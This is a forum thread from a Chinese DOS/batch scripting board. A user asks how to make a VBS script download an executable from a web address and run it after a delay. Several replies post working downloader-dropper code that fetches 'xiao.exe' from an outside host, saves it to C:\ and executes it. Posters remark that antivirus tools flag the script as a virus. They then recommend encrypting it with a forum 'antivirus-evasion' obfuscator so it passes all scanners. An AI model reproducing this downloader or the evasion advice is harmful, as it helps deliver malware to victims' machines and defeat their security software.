中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-08-04 16:23
48,038 主题排行 / 350,123 发帖 / 今日 0 篇 / 48,251 会员排行
DOS批处理 & 脚本技术(批处理室) » [求助]如何用vbs下载并运行指定文件?
可打印版本  1,414 / 9
第1楼 nzisisco 发表于 2007-04-25 23:22
初级用户 发帖 47 积分 107
[求助]如何用vbs下载并运行指定文件?
比如我要下载www.xxxxxx.com\1.exe 这个程序 如何用vbs下载 然后放到指定目录 比如放到c:\ 最好能够指定一个时间运行 比如60秒後运行
希望高人帮忙!
第2楼 vkill 发表于 2007-04-25 23:57
金牌会员 发帖 1,744 积分 4,103 来自 甘肃.临泽
iget.vbs
sleep
run
第3楼 lxmxn 发表于 2007-04-26 01:41
版主 发帖 4,938 积分 11,386
楼上已经给出了提示,楼主不妨按照楼上的提示,搜索一下论坛,尝试自己解决一下问题,对你提高很有好处的。
第4楼 fengzi 发表于 2007-04-26 02:08
中级用户 发帖 152 积分 315
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
wscript.sleep 10000
Shell.Run ("c:\xiao.exe") '延迟过后执行下载文件







好象要被卡吧杀``NOD32都不会杀滴```
第5楼 nzisisco 发表于 2007-04-26 02:48
初级用户 发帖 47 积分 107
我是对vbs一点都不了解 2楼虽然给出了关键字 但是还是有难度......
4楼的我看不太懂你写的什么意思 能解释一下吗 不好意思 我比较笨 麻烦大家了哈
第6楼 fengzi 发表于 2007-04-26 02:58
中级用户 发帖 152 积分 315
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 :这里是要下的东西的地址
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2 保存位置
wscript.sleep 10000 延时
Shell.Run ("c:\xiao.exe") 执行
第7楼 zhoushijay 发表于 2007-04-27 02:45
高级用户 发帖 375 积分 845
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Set Shell = CreateObject("scripting.filesystemobject")
还有哪些对象啊?这些对象下面又有些什么属性和方法,谁有这方面的资料啊?
第8楼 Vampire 发表于 2007-04-27 03:14
初级用户 发帖 78 积分 176
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2

这段代码被瑞星认为病毒……杀之而后快。呵呵。
第9楼 kk11440 发表于 2007-05-23 21:29
新手上路 发帖 1 积分 2
因为疯子哥哥```等于说小波同志没对这段vbs段码进行加密.加了密过后过所有的杀软
第10楼 fengzi 发表于 2007-05-23 22:46
中级用户 发帖 152 积分 315
Originally posted by Vampire at 2007-4-27 03:14 AM:

这段代码被瑞星认为病毒……杀之而后快。呵呵。

这个用VBS加密工具加密后就可以了`
baomaboy做了个加密/解密VBS脚本(简易免杀版)1.1
http://www.cn-dos.net/forum/viewthread.php?tid=30500&fpage=1&highlight=1.1`
这个加密后杀软基本上不会报毒了``

[ Last edited by fengzi on 2007-5-24 at 04:38 AM ]
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023